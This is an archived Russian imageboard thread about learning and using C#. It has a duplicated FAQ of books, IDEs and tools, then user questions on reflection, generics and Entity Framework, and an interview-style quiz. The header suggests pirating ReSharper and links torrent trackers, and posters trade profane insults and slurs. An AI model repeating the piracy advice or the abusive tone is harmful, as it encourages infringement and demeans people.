Это копия, сохраненная 3 января 2021 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
ITT элита продолжает обсуждает будущее этого прекрасного и современного продукта компании Microsoft. Только в этом треде элитные разработчики ответят на самые острые вопросы индустрии. Также не забываем напоминать залетным Жаба-петухам о их месте возле параши, которая уже давно навечно забилась легаси-дерьмом и ждёт неминуемой смерти Жабы.
Литература вторым постом
1. Ресурсы:
- http://stackoverflow.com/questions/tagged/c#
- http://www.tutorialspoint.com/csharp/
- http://professorweb.ru
- http://net-informations.com
- http://habrahabr.ru/hub/csharp/
2. Онлайн-компиляторы:
- https://dotnetfiddle.net/ - возможно лучший вариант. Встроено немного убогое, но все-таки автодополнение и проверка синтаксиса.
- http://ideone.com/
- http://csharppad.com/
- http://www.tutorialspoint.com/compile_csharp_online.php
- http://rextester.com/l/csharp_online_compiler
3. WinForms или WPF?
Зависит от задачи. Для небольших проектов, скорее всего, будет достаточно винформочек. В случае, если разрабатываемое приложение достаточно серьёзное, то возможно его стоит писать с использованием WPF. WPF очень хорошо работает с паттерном MVVM ( https://ru.wikipedia.org/wiki/Model-View-ViewModel ), и позволяет пилить очень кастомизированные интерфейсы с помощью XAML, что в случае WinForms, делать намного сложнее. Оба будут поддерживаться в .NET Core, поэтому не стоит беспокоиться о будущем, если шлёпаете формочки.
4. Мне тут знакомый_нейм сказал, что C# умирает, это правда? Может не стоит его учить?
Неправда. C# довольно активно развивается, недавно вышла третья версия .NET Core фреймворка и восьмая версия языка. Весь дотнет понемногу становится опенсорсным, а ASP.NET становится независимым от платформы. В некотором смысле понемногу вымирают десктопные приложения с развитием веб-технологий, но в том же энтерпрайзе он еще очень даже востребован.
5. Какую ИДЕ выбрать?
Для Windows самым очевидным вариантом будет Visual Studio (https://www.visualstudio.com/en-us/downloads/download-visual-studio-vs.aspx). Студия распространяется в двух редакциях: бесплатная коммьюнити-версия и платный энтерпрейс эдишн. В большинстве случае будет достаточно Community-версии: она поддерживает и C#, C++, VB.NET и F#, а так же имеет возможность установки дополнений
Для мака и никсов самый юзабельный вариант - MonoDevelop ( http://www.monodevelop.com/download/ ).
Для vim можно использовать OmniSharp ( https://github.com/OmniSharp/omnisharp-vim ).
Кросплатформенный полуредактор/полуIDE VS Code ( https://www.visualstudio.com/en-us/products/code-vs.aspx )
Также существуют плагины для Atom'а и Sublime Text, но функциональность там достаточно сильно урезана.
Кроме того, в данный момент JetBrains активно пилит свою IDE для шарпа (Project Rider), вероятно в ближайшее время станут доступны первые EAP. IDE заявлена как кросплатформенная, со всем решарпер-функционалом, поддержкой отладки, моно и .net core.
SharpDevelop - еще одна IDE для C#, отличается малым размером (около 20мб) и опциональной портабельностью, при этом имея дизайнер WinForms и WPF, а также интеграцию с FxCop, StyleCop и прочими ништяками. Если хочется что-то по быстрому набросать, а выкачивать гигабйты нет желания, то возможно SharpDevelop будет лучшим вариантом.
6. С# для мобильной разработки
Если нужны инструменты для разработке под мобилы, смотри сюда - https://docs.microsoft.com/ru-ru/visualstudio/cross-platform/cross-platform-mobile-development-in-visual-studio?view=vs-2019.
Из актуальной литературы
- Xamarin Mobile Application Development
- Xamarin Essentials
7. Дополнительные инструменты для разработки на C#
LINQPad - сорт оф REPL, с возможностью быстрого подключения к БД и удобной визуализацией данных
dnSpy - декомпилятор, малоизвестный форк ILSpy, где реализована возможность модификации IL-кода прямо в EXE и DLL файлах, отладка IL-кода и много других фич для reverse engineering'а. Плюс няшные темы как в студии
scriptcs - для запуска C# кода как скриптов, возможность использовать как REPL
8. Расширения для студии
ReSharper - одно из известнейших. Рефакторинги, умный автокомплит, настраиваемый стиль кода. Платный, но можно стянуть с торрентов
Supercharger - показывает "карту" с классами, методами и всем остальным сбоку от кода с возможностью прыгать по ним
Indent Guides - показывает вертикальные линии на каждом уровне отступов.
Format document on Save - форматирует код каждый раз при сохранении документа
Code alignment - Выравнивает код по указанным символам. Удобно, например, при инициализации словарей или в перечислениях
Обзор Roslyn: https://github.com/dotnet/roslyn/wiki/Roslyn Overview
Новые возможности C# 8.0: https://docs.microsoft.com/ru-ru/dotnet/csharp/whats-new/csharp-8
Код этой шапки: https://pastebin.com/YJFQKsNm
Прошлый тред тонет здесь: >>1665540 (OP)
- The C# Player's Guide, второе издание (RB Whitaker) - отличная книга для ньюфагов в шарпе, все расписывается довольно подробно, очень много примеров кода.
- C# 7.0 in a Nutshell (Joseph Albahari и Ben Albahari) - огромнейший справочник, over 1000 страниц, покрывает почти все области, начиная с синтаксиса и базовых типов и заканчивая интеропом и рослином. Уже появилось издание для 8.0, однако в интернетах пока его нет.
- C# 7.0 Pocket Reference (Joseph Albahari и Ben Albahari) - просто выжимка из справочника, можно всегда держать рукой
- Pro C# 7: With .NET and .NET Core (Andrew Troelsen) - 1600-страничный учебник по шарпу, покрывает BCL, WPF и ASP.NET, небо и даже аллаха.
- C# 6.0 Cookbook (Jay Hilyard и Stephen Teilhet) - книга в формате "проблема-решение", можно пройтись по оглавлению, найти интересные проблемы и попыпаться самому решить, а уже потом посмотреть представленное решение. Книга скорее не для ньюфагов, а для тех, кто уже знаком с шарпом.
10. Более хардкорный материал
- CLR via C# (Jeffrey Richter) - это классика, это знать надо.
- C# in Depth (Jon Skeet) - написана в виде истории версий C#, начиная с C#1.0. Описываются возможности, которые были добавлены в определенной версии и далее достаточно хардкорно и подробно эти возможности расписываются.
- Writing High Performance .NET Code (Ben Watson) - охуенная книга. В основном фокуируется на оптимизации дотнет-говна. Методы оптимизации проложений, профилирование, вот это все. Крутейшая и достаточно детальная глава по GC. Рассматриваются достаточно известные проблемы вроде "for vs foreach", "класс vs структрура", кастинг, боксинг, перфоманс регулярок, коллекций, исключений. Короче все что нужно, чтобы вам перезвонили.
11. Хочу еще хардкорней
- C# Deconstructed (Mohammad Rahman) - введение в CLR, модели памяти и выполнения в CLR, байтоебство, JIT. Книга достаточно коротенькая, менее 200 страниц, можно осилить за пару дней. Желателен опыт работы WinDbg и понимание устройства PE-формата.
- Expert C# 5.0 with .NET 4.5 Framework - еще одна книга этого автора, в этот раз намного длиннее. Очень много IL, анализа и разбора стандартной либы (те же коллекции), разбор ивентов, дегегатов, асинхронности etc. на уровне байткода.
- .NET IL Assembler (Serge Lidin) - ILёбство, во многих местах повторяет документацию MSDN, но при этом имеет много интересных дополнений и заметок. Кроме того все неплохо структуировано и разложено по красивым табличкам
12. Литература по WPF
Из более-менее актуального можно выделить пару книг:
- Pro WPF 4.5 in C# (Matthew MacDonald)
- Windows Presentation Foundation 4.5 Cookbook (Pavel Yosifovich)
13. Литература по ASP.NET
- Professional ASP.NET MVC 5 (Jon Galloway, Brad Wilson, K. Scott Allen, David Matson)
- Pro ASP.NET MVC 5 Platform (Adam Freeman)
- Beginning ASP.NET for Visual Studio 2015 (William Penberthy)
14. Литература по асинхронности, параллелизму и всему такому
- Concurrency in C# Cookbook (Stephen Cleary) - книга, написанная в формате "проблема - решение". Кроме базовых вещей, вроде асинков и параллелизма рассматриваются TPL Dataflows, Rx (реактивные расширения), тестирование всего этого асинхронного добра, ну и работа этого всего на более низких уровнях абстракции
- Multithreading in C# 5.0 Cookbook - в основном ничего интересного, но есть довольна неплохая глава про синхронизацию, пусть и не слишком детальная
- Pro Asynchronous Programming with .NET (Richard Blewett, Andrew Clymer) - опять же, интересного немного, но неплохие главы про асинхронность + UI и анализ дампов памяти в windbg
15. Литература не по шарпу, но так или иначе связанная с языком
C# Game Programming Cookbook for Unity 3D (Jeff W. Murray) - разработка на шарпе под Unity
Introduction to Neural Networks with C# (Jeff Heaton) - изучение нейронных сетей с примерами кода на шарпе. Под конец пишем программу для распознавания символов и нейроботов.
Machine Learning Using C# Succinctly (James D. McCaffrey) - довольная коротенькая книга на тему машинного обучения с примерами кода на C#. Ничего особого: k-средние, классификация, наивный байес, но с кодом, который всегда можно поразбирать, если что неясно.
16. Но я не знаю английский, как я буду это все читать?
На некоторые из перечисленных книг есть переводы, которые можно найти на том же рутрекере, однако, зачастую эти переводы неактальны, содержат неточности, и не самые понятные варианты перевода. Кроме того, переводы обычно пилятся только для нескольких самых популярных книг, более-менее серьёзный материал не переводят. Всегда можно сесть со словарем и понемногу читать, переводя непонятные фрагменты. Это очень полезно, так как в любом случае в разработке без знания ангельского делать нечего. Если очень хочется, то гуглить по запросам: "C# 5.0, Справочник. Полное описание языка", "C# для профессионалов. Тонкости программирования", "Программирование на платформе Microsoft .NET Framework 4.5 на языке C#"
17. Что еще нужно знать, чтобы взяли работать за еду?
- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper
- Системы контроля версий - обычно гита достаточно: add/commit/push, merge, rebase, checkout, remote's, разрешение конфликтов, трехпанельные дифф-менеджеры, cherry-pick
- Гитхабы-гитхабчики - issues, организация пулл-реквестов, интеграция с appveyor, теги, релизы, маркдаун
- Алгоритмы - сложность алгоритмов, сортировки (пузырек, быстрая, вставками), поиск, рекурсия, алгоритмы на строках
- Структуры данных - связанные списки, деревья (бинарные, красно-черные, b-деревья), хеш-таблицы, графы
- Если идти в веб - HTML, CSS, JavaScript, веб-сокеты, REST
- Паттерны проектирования, стиль кода, внедрение зависимостей, MVVM (если хочется в WPF), SOLID
18. Я не умею читать, что посмотреть?
- Programming with C# - https://www.edx.org/course/programming-c-microsoft-dev204x-0
- Beginning Game Programming with C# - https://www.coursera.org/course/gameprogramming
- C# Fundamentals: Development for Absolute Beginners - https://goo.gl/meyyxO
- Коллекция видеоуроков, по всему дотнетовскому и смежным темам (250 часов, на русском) - https://nnm-club.me/forum/viewtopic.php?t=891636
- Набор курсов по C# от O'Reilly Media (28 часов, на английском) - http://rutracker.org/forum/viewtopic.php?t=5082978
- The C# Player's Guide, второе издание (RB Whitaker) - отличная книга для ньюфагов в шарпе, все расписывается довольно подробно, очень много примеров кода.
- C# 7.0 in a Nutshell (Joseph Albahari и Ben Albahari) - огромнейший справочник, over 1000 страниц, покрывает почти все области, начиная с синтаксиса и базовых типов и заканчивая интеропом и рослином. Уже появилось издание для 8.0, однако в интернетах пока его нет.
- C# 7.0 Pocket Reference (Joseph Albahari и Ben Albahari) - просто выжимка из справочника, можно всегда держать рукой
- Pro C# 7: With .NET and .NET Core (Andrew Troelsen) - 1600-страничный учебник по шарпу, покрывает BCL, WPF и ASP.NET, небо и даже аллаха.
- C# 6.0 Cookbook (Jay Hilyard и Stephen Teilhet) - книга в формате "проблема-решение", можно пройтись по оглавлению, найти интересные проблемы и попыпаться самому решить, а уже потом посмотреть представленное решение. Книга скорее не для ньюфагов, а для тех, кто уже знаком с шарпом.
10. Более хардкорный материал
- CLR via C# (Jeffrey Richter) - это классика, это знать надо.
- C# in Depth (Jon Skeet) - написана в виде истории версий C#, начиная с C#1.0. Описываются возможности, которые были добавлены в определенной версии и далее достаточно хардкорно и подробно эти возможности расписываются.
- Writing High Performance .NET Code (Ben Watson) - охуенная книга. В основном фокуируется на оптимизации дотнет-говна. Методы оптимизации проложений, профилирование, вот это все. Крутейшая и достаточно детальная глава по GC. Рассматриваются достаточно известные проблемы вроде "for vs foreach", "класс vs структрура", кастинг, боксинг, перфоманс регулярок, коллекций, исключений. Короче все что нужно, чтобы вам перезвонили.
11. Хочу еще хардкорней
- C# Deconstructed (Mohammad Rahman) - введение в CLR, модели памяти и выполнения в CLR, байтоебство, JIT. Книга достаточно коротенькая, менее 200 страниц, можно осилить за пару дней. Желателен опыт работы WinDbg и понимание устройства PE-формата.
- Expert C# 5.0 with .NET 4.5 Framework - еще одна книга этого автора, в этот раз намного длиннее. Очень много IL, анализа и разбора стандартной либы (те же коллекции), разбор ивентов, дегегатов, асинхронности etc. на уровне байткода.
- .NET IL Assembler (Serge Lidin) - ILёбство, во многих местах повторяет документацию MSDN, но при этом имеет много интересных дополнений и заметок. Кроме того все неплохо структуировано и разложено по красивым табличкам
12. Литература по WPF
Из более-менее актуального можно выделить пару книг:
- Pro WPF 4.5 in C# (Matthew MacDonald)
- Windows Presentation Foundation 4.5 Cookbook (Pavel Yosifovich)
13. Литература по ASP.NET
- Professional ASP.NET MVC 5 (Jon Galloway, Brad Wilson, K. Scott Allen, David Matson)
- Pro ASP.NET MVC 5 Platform (Adam Freeman)
- Beginning ASP.NET for Visual Studio 2015 (William Penberthy)
14. Литература по асинхронности, параллелизму и всему такому
- Concurrency in C# Cookbook (Stephen Cleary) - книга, написанная в формате "проблема - решение". Кроме базовых вещей, вроде асинков и параллелизма рассматриваются TPL Dataflows, Rx (реактивные расширения), тестирование всего этого асинхронного добра, ну и работа этого всего на более низких уровнях абстракции
- Multithreading in C# 5.0 Cookbook - в основном ничего интересного, но есть довольна неплохая глава про синхронизацию, пусть и не слишком детальная
- Pro Asynchronous Programming with .NET (Richard Blewett, Andrew Clymer) - опять же, интересного немного, но неплохие главы про асинхронность + UI и анализ дампов памяти в windbg
15. Литература не по шарпу, но так или иначе связанная с языком
C# Game Programming Cookbook for Unity 3D (Jeff W. Murray) - разработка на шарпе под Unity
Introduction to Neural Networks with C# (Jeff Heaton) - изучение нейронных сетей с примерами кода на шарпе. Под конец пишем программу для распознавания символов и нейроботов.
Machine Learning Using C# Succinctly (James D. McCaffrey) - довольная коротенькая книга на тему машинного обучения с примерами кода на C#. Ничего особого: k-средние, классификация, наивный байес, но с кодом, который всегда можно поразбирать, если что неясно.
16. Но я не знаю английский, как я буду это все читать?
На некоторые из перечисленных книг есть переводы, которые можно найти на том же рутрекере, однако, зачастую эти переводы неактальны, содержат неточности, и не самые понятные варианты перевода. Кроме того, переводы обычно пилятся только для нескольких самых популярных книг, более-менее серьёзный материал не переводят. Всегда можно сесть со словарем и понемногу читать, переводя непонятные фрагменты. Это очень полезно, так как в любом случае в разработке без знания ангельского делать нечего. Если очень хочется, то гуглить по запросам: "C# 5.0, Справочник. Полное описание языка", "C# для профессионалов. Тонкости программирования", "Программирование на платформе Microsoft .NET Framework 4.5 на языке C#"
17. Что еще нужно знать, чтобы взяли работать за еду?
- SQL - подойдет люая книг по MSSQL/MySQL, базовые запросы, SELECT, INSERT, DELETE, UPDATE. Джойны, индексы, нормализация. В контексте шарпа еще ORM: Entity Framework, Dapper
- Системы контроля версий - обычно гита достаточно: add/commit/push, merge, rebase, checkout, remote's, разрешение конфликтов, трехпанельные дифф-менеджеры, cherry-pick
- Гитхабы-гитхабчики - issues, организация пулл-реквестов, интеграция с appveyor, теги, релизы, маркдаун
- Алгоритмы - сложность алгоритмов, сортировки (пузырек, быстрая, вставками), поиск, рекурсия, алгоритмы на строках
- Структуры данных - связанные списки, деревья (бинарные, красно-черные, b-деревья), хеш-таблицы, графы
- Если идти в веб - HTML, CSS, JavaScript, веб-сокеты, REST
- Паттерны проектирования, стиль кода, внедрение зависимостей, MVVM (если хочется в WPF), SOLID
18. Я не умею читать, что посмотреть?
- Programming with C# - https://www.edx.org/course/programming-c-microsoft-dev204x-0
- Beginning Game Programming with C# - https://www.coursera.org/course/gameprogramming
- C# Fundamentals: Development for Absolute Beginners - https://goo.gl/meyyxO
- Коллекция видеоуроков, по всему дотнетовскому и смежным темам (250 часов, на русском) - https://nnm-club.me/forum/viewtopic.php?t=891636
- Набор курсов по C# от O'Reilly Media (28 часов, на английском) - http://rutracker.org/forum/viewtopic.php?t=5082978
шарпошиз
>Также не забываем напоминать залетным Жаба-петухам о их месте возле параши, которая уже давно навечно забилась легаси-дерьмом и ждёт неминуемой смерти Жабы.
Уберите из шапки.
>>1724005 →
Бампаю вопрос. Нихуя не понимаю, где рефлексия используется. Чес слово. На пальцах - у меня хоститься ASP.NET Core 3.0 бэкенд (назовем его Main) в виде Web Api для моей GUI на React свестелки-перделки. Задача бэка - оперировать данными полученных с фронта (обычный мать его КРУД). На кой хуй, вопрос - мне рефлексия. Предлоложим, что у меня должен быть 24/7 аптайм в моем Main (бэке) и у меня нет доступа к исходнику своей же бэк-side апликухи (окей), в этом случае исходя из поста >>1724005 → я создаю отдельный солюшен, рефлекшу свой Main, прикручиваю функционал, которого нет на Main и ... Что блять дальше? Хостить его на другом порте, чи шо? И как я буду манипулировать сотней Reference в мой "Костыль" из Main? И как Main вообще будет знать о таком "Костыле". Нипонимаю, нихуя.
Реальный юзкейс для Reflection, который я нашел - это InteliSense и disassembler.
Поясните, христа ради, кто в теме.
Двачую C# и Java - братья на век.
professorweb или metanit?
цель?
Ну если время проебать хочешь и создать видимость того, что ты какие-то навыки и знания приобретаешь, то оба ресурса справятся с этой задачей одинаково хорошо. Если хочешь навыков и знаний, то тут только книги из шапки. Рекомендую начинать с Троелсена.
>Вопрос - зочем? Ладно, если какой то крупный интерпрайз 24/7 крутиться в продакшене и к нему нет доступа
При чем тут продакшн и доступ к нему? Возьми программу типа браузера, ты можешь написать к нему расширение. Чтобы это расширение работало, браузеру нужно использовать рефлексию и изучать код твоего расширения, встраивая его функционал в рантайме. Т. е. при помощи рефлексии ты делаешь свою программу расширяемой.
>К примеру?
Любой фреймворк, от WPF до ASP.NET, все они используют рефлексию, дописывая большую часть кода за тебя.
Если используешь Атрибуты, значит тоже используешь рефлексию, например при создании типа в который у тебя будет парситься JSON, ты добавляешь свойству атрибут JsonConverter(typeof(DetailsBodyConverter)) и таким образом библиотека понимает, что ей нужно достать из метаданных этот JSON конвертер и использовать его при парсинге.
>3. Почему не перекомпелировать?
К какому пункту это относится? Если к последнему, то я написал, что возможности заново компилировать код может и не быть, например если ты проебал исходники на какой-нибудь старый модуль, который нужно изменить.
> На кой хуй, вопрос - мне рефлексия.
Тебе уже всё в том посте описал. Ты какое-то дерьмо непонятное придумал и спрашиваешь зачем тебе рефлексия, так, будто её нужно применять везде, независимо от приложения и его назначения.
>браузеру нужно использовать рефлексию и изучать код твоего расширения
хороший пример
>Если используешь Атрибуты, значит тоже используешь рефлексию
разве это не обычная библиотека?
Спасибо за ответы, впринципе прояснил - это как на WebApi делать эндпоинты для модулей, расширяющих функционал приложения. Поэтому я и спрашивал за то, как основной модуль узнает о всех новых - аналог метода со входящими параметрами.
Вы с нуля проекты пердолите? Если да, то я смотрел спичи (часовые) на релизах - там были чуваки, которые толкали за архитектуру. Были ли мне полезны эти знания - нет. Делал себе заметки, пересмотрел даже, в голове остались 1-2 фичи, остальное - как смысло в унитаз
мне сегодня контора объявила, что передумала меня на курсы шарпа отправлять.
знак свыше! пойду питон дальше учить
само собой...
>разве это не обычная библиотека?
Что "это"? Если ты попробуешь создать свой атрибут, то поймешь, что без рефлексии он будет бесполезен, потому что понять, что у класса есть какой-то атрибут, можно только при помощи рефлексии.
>тоже
У неё одно предназначение - ковырять многолетнее легаси, которое написали индусы за 2$/день.
А то в остальных не-хипстерских языках не так.
>воды
Почему? Потому что тебе лень мозгами шевелить и хочется верить в чудо вида "вот щяс прачитаю мутанита и стану сишарпирам даа... вооот...."? У сайтов вообще нет никакого практического применения. Если тебе нужно краткое изложение и освежить память, то для этого есть исчерпывающая документация. Научить они ничему не могут. Вот и выходит, что их применение это подкрепление маняфантазий лентяев вроде тебя.
Как же плохо, когда на твоей специальности не было криптографии и вообще вам просто говорили: не еби мозг и бери готовое решение.
Бери ASP.NET и не еби мозги, тебе всё правильно говорили. В любом случае, если ты не придёшь к уже готовому решению, то сделаешь только хуже.
Я не могу пользоваться готовыми решениями, если сам к ним не пришел. Такой вот я мудак.
Ну тогда бери готовое решение и смотри как сделано в нём. Ты ведь не настолько тупой, чтобы думать, что тебе сейчас в одном посте распишут путь по которому ты придёшь к готовому решению, верно?
IEnumerable<TResult> GetProductsWithStock<TResult>(Func<Product, TResult> selector);
ЯПеречеслитель< для типа ТэРесалт> ДайПродуктыСоСтока <для типа ТэРесалт>(Функция< для типов Продукт, ТэРесалты> выборщик)
А если серьезно, это женерик, на вход функции подается делегат функции, результатом которого будет TResult.
Скажем для инта это будет значить
IEnumerable<int> GetProductsWithStock<int>(Func<Product, int> selector); что ты хочешь получить перечислитель типа int, для этого ты передаешь ссылку на функцию, для типа Product результатом которой будет int.
ХЗ понятнее ли тебе стало.
Чтобы понимать это проще, нужно про женерки почитать и, соответственно, делегаты.
Да, вот тебе простой пример.
Так конечно делать неправильно, но может быть суть яснее станет.На деле женерики почти никогда не нужны и использовать их следует только если ты знаешь что именно сейчас оно и надо.
Да, про интерфейсы ничего не сказал, но суть, интерфейс это как-бы контракт между программистам, который гарантирует, что у объекта который имплементирует интерфейм будет какой-то набор методов -> указывая что в функцию передадут объект "ЯДрочлио" ты можешь не париться и более-менее быть уверен что у объекта будет метод "Дрочить" с определенной сигнатурой и ты можешь его использовать, а если все обвалится это проблемы того кто имплементировал интерфейс, а не твои.
долбоеб второкурсник
ulearn
Окей. Поясни. Давай, мне даже интересно.
По твоему женерки нужно во все дырки пихать? А может быть интерфейс это не обычное указание того что ты хочешь обьек, который имеет функцию с такой сигнатурой?
Потому что во многих языках дрочат на иммутабельность, и строки здесь неизменяемые. И принято, если нужно сконкатенировать несколько строк, юзать билдер.
Customize X class using various types of statements and parameters.
Может кто кто конкретнее объяснить что нужно сделать(с примером небольшим?)
Попробуй параметров в конструктор нахуярить, чтобы когда экземпляр своего класса создаешь поля задавались корректными значениями.
>Давай, мне даже интересно.
хуй привстал даже? Долбоеб второкурсник, который не знает за боксинг/анбоксинг? Или не знает за систему контроля типов? И ковариантность наверное не нужна? Прийдешь на галерку (если прийдешь, в чем я сомневаюсь по предыдущему посту) тебе там пояснят как нужно типы создавать. И попробуй такое на собесе пиздануть, что дженерики не нужны, не успеешь перднуть, как полетишь пинком под зад
>>726486
>string и stringbuilder
system.string - статическая
system.text.stringbuilder - динамическая
Дрочилам по быстродействию и расчету байтов - инструмент оптимизации. Кресты лучше, бросай эту хуйню
>>726494
>во многих языках дрочат на иммутабельность
ФП петух в треде, я спокоен
>>726495
>книгу по SQL
u gonna be kidding me
>>726536
>Customize X class using various types of statements and parameters.
как ты тогда учишь, если после первого задания ты бежишь на борду спрашивать что и как? Если хочешь начать осваивать ЯП первый совет тебе - научись находить решения самостоятельно
Снобствующий долбоеб называет кого-то петухом. Спешите видеть.
> ФП петух в треде, я спокоен
Чини детектор, я лютый сторонник мутабельности и вообще императивщины.
var freeID = _db.Users.Select(x=>x.ID+1).Except(_db.Users.Select(x=>x.ID)).OrderBy(x).First();
Так вот, я два дня мучался с таким вот способом, но EF упорно кидает ошибку The binary operator is not defined. Вот блин, что не так-то я делаю? Почему если я делаю это же но предварительно в лист запихнув ID все работает нормально(но жрет кучу памяти). Вернее я понимаю, это какая-то срань с IQueryable(наверное), наверное надо Where использовать, но блин. Аааааа. Я горю от своей тупости. Нахуй я в эту залупу полез-то? Да и вообще, имхо было бы проще реально написать просто SQL запрос, но типа же это не тру вей для .net'чика, но блядь, 2 дня проебать пытаясь эту срань сделать, когда мог бы за минуту написать нативный запрос. Пиздос нахуй
Че за база? Я проверял на SQLite все работало. Подключи логгер и посмотри что за запросы улетают в базу. Мне, например, еф генерировал cross apply. хотя sqlite его не поддерживает.
А еще IQueryable не могет (но это не точно) в Equals, надо через == писать.
Привет скажите пожалуйста куда нажать если я прям совсем дурачок клинический(0 опыта в программировании) но очень хочу научиться сишарпу, ну или на крайний случай направьте куда то еще, спасибо!
ну не надо писать там про всякое на сонную артерию себе нажми или на кнопку выключения компьютера не надо я правда интересуюсь
Начни с установки Visual Studio 2019.
https://www.youtube.com/watch?v=ZO7KXU2GNqA
Там же есть видосы для совсем новичков, кроме того на рутрекере видеокурсы лежат. Вникай, гугли, читай, не ленись писать код и все комментируй для себя, как понимаешь. В последствии все это может тебе пригодиться.
Понял, спасибо. А сишарп вообще нормальная отправная точка? Или это прыжок выше головы? Не нужно какой-нибудь питон учить сначала? Или опыт в одном языке мало помогает в другом?
Если ты хочешь именно c#, то стартуй с него. Захочешь - вьедешь в любой язык, до определенного предела, который зависит от твоего стремления учиться.
Если сам не знаешь чего хочешь, то сперва определись для себя сам. Поспрашивай по тредам конкретные вопросы. Погугли. Так-то все высокоуровневые языки для макак и домохозяек делаются. Ничего сложного именно в освоении нет.
{
bool flag = true;
while (true)
{
try
{
if (!flag)
;
if (Content())
Пацаны, я в шарп не в зуб ногой, но нужно переписать шарп на питон. Что значит строчка:
if (!flag)
;
Если flag = false, то что мы делаем? Ничего? Вызывается exception?
Просто я нихуя не пойму. Шизик старательно в функции меняет значения flag с True на False и обратно, но единственная проверка на этот flag это вот:
if (!flag)
пробел_;
Там могла быть неиспользуемая переменная, которую среда обычно предлагает заменить на символ удаления.
Да нет, в школе был стремный жс, сейчас читаю Троелсена, вроде нормально идет. Только не понял, зачем нужны F# и визуал бэйсик.
Деда, ты от жизни отстал. В школах давно перешли на JS и питон. Между делам рассказывают про древние технологии времен палеолита, типа ПХП и джавы, но это так, для общего развития.
Да ничего не навешано. Буквально тот же запрос.
Я думаю, может быть это связано с тем, что поле типа UInt32, а PG там беззнаковые по своему хранит(как bigserial) и провайдер запросов не понимает как привести к этому самому UInt32. ХЗ короче.
Проверил на домашней копии проекта и действительно все работает. ХЗ почему на работе не работает. Хотя там рассинхрон кодовой базы имеется в 4 месяца работы, может быть я там в каком-то другом месте пролюбился и теперь такая вот штука происходит.
System.Configuration.ConfigurationManager.ConnectionStrings[name].ConnectionString
нихуя найти такую ConnectionString не может. В чем может быть проблема?
Алсо, даже через дебаг посмотрел - у меня ConfigurationManager.ConnectionStrings имеет один элемент. Только это нихуя не тот элемент, что я вручную добавляю. А элемента, что я добавляю, и вовсе нет.
«Явно» уебищно звучит.
Я активно топлю за максимальное заливание в рус.яз англицизмов.
Тем более в программировании, где английский - доминирующий.
Русский вообще неудобный устаревший язык, единственное его спасение - форсированная модернизация, через займ слов и оборотов из актуальных языков.
каргокультист закукарекал заместо жабаскриптера
>эксплицитно
хуясе какие слова умные. Ты чей будешь, холоп?
>>729123
true
>>729350
>заливание в рус.яз англицизмов.
просто ты долбоеб и перхоть подзалупная. Не выебывался, а написал бы уже explicit, раз ты так любишь ангельский.
Странно, что ты задаешь вопросы на русскоязычной борде, а не на reddit/4chan/SOF. Тут твоими аглицизмами тебе по губам проведут и об щеку вытерут
There are, of course, benefits and drawbacks to this kind
of a setup, which we’ll discuss in Chapter 40, but it turns out to be a good idea for everything except low level stuff, like an operating system or a device driver. C# is a bad choice for things like that. (Try C or C++ instead.)
Тут говорится о том, что Сишка это хуёвый язык для операций относительно системы компутера или о том, что это хуёвый язык для новичка?
>except low level stuff, like an operating system or a device driver
причем тут новичок? Автор правду написал, что низкоуровневые задачи типо драйверов или ковыряние в ОС не решается с помощью C#
> Once the AOT compiler was far enough developed, the team then started to code the kernel. This was met with long periods of inactivity and few active developers due to lack of interest in unsafe kernel programming.
Ядро пришлось делать унсейф, так что шарповики обосрались и слились, высрав какой-то 0.0.1.
А то обычно в уроках через код (обычно так делают во всех уроках)
Но тут увидел что базу можно добавлять через solution explorer. А потом увидел что в студии есть источники данных
https://docs.microsoft.com/ru-ru/visualstudio/data-tools/add-new-data-sources?view=vs-2019
Как лучше?
у препода подойди и спроси, чтобы он тебя погонял по вопросам, что ты там в своей шараге проходил
Кто-нибудь использует в реальных проектах? Для еще чего кроме обработки данных и описания моделей он может быть удобен?
Идешь на кодворсы и решаешь задачки. В процессе поймешь, что на хорошо выучил, а что - хреново. Плюс задачки там прикольные на самом деле, забавно позалипать, после очередного дня крудошлепанья и поймать себя на мысли: А не все еще забыл-то.
Ну ок.
Давай я поспрашиваю.
1. Ниже, какой результат выведется в
static void swap<T>(T a, T b){
T temp = a;
a = b;
b = a; }
static void Main(){
int a = 10;
int b = 20;
swap(a, b);
Console.WriteLine(a);
Console.WriteLine(b);}
2. Вот код класса. Какие в нем есть проблемы? Как их исправить?
public class Class1 : IDisposable{
private CancellationTokenSource cts = new CancellationTokenSource();
...
public async Task LongRunTask(){
while(!cts.Token.IsCancellationRequested){
...
}}
public void Dispose(){
cts = null;
}}
3. Ниже код. Что выведется в конcоль:
int i = -1;
Console.WriteLine(string.Join(",", BitConverter.GetBytes(i)));
4. Ниже код. Что в
try{
Console.WriteLine("A");
throw new InvalidOperationException();
}
catch(InvalidOperationException ex){
Console.WriteLine("B");
}
catch(Exception ex){
Console.WriteLine("C");
}
finally{
Console.WriteLine("D");
}
5. Ниже код. Что в коносль?
public interface I {
public void Foo();
}
public abstract class A : I {
public virtual void Foo() => Console.WriteLine("A");
}
public class B : A{
public override void Foo() => Console.WriteLine("B");
}
public class C : A{
public new void Foo() => Console.WriteLine("C");
}
class Program{
public static void Main(){
A some1 = new B();
A some2 = new C();
List<I> lst = new List<I> { some1, some2 };
foreach (var i in lst) i.Foo();
}}
Почему? Как исправить не меняя внутренности классов?
6. Ниже код чему будет равен y после выполненения.
object x = new object();
int y = 100;
while(x!=null && --y>10)
{
if(y==50)
x = null;
}
Ну, набросал то что было на первом курсе. Довольно примитивная хуйня.
Правила простые. Дал ответ - проверил. Отетил правильно +1 балл, неправильно -2 балла. Полез сначала проверять перед ответом -5 баллов. Если сумма меньше 10 - читай CLR via C#. Если меньше нуля - иди на метанит.
Ну ок.
Давай я поспрашиваю.
1. Ниже, какой результат выведется в
static void swap<T>(T a, T b){
T temp = a;
a = b;
b = a; }
static void Main(){
int a = 10;
int b = 20;
swap(a, b);
Console.WriteLine(a);
Console.WriteLine(b);}
2. Вот код класса. Какие в нем есть проблемы? Как их исправить?
public class Class1 : IDisposable{
private CancellationTokenSource cts = new CancellationTokenSource();
...
public async Task LongRunTask(){
while(!cts.Token.IsCancellationRequested){
...
}}
public void Dispose(){
cts = null;
}}
3. Ниже код. Что выведется в конcоль:
int i = -1;
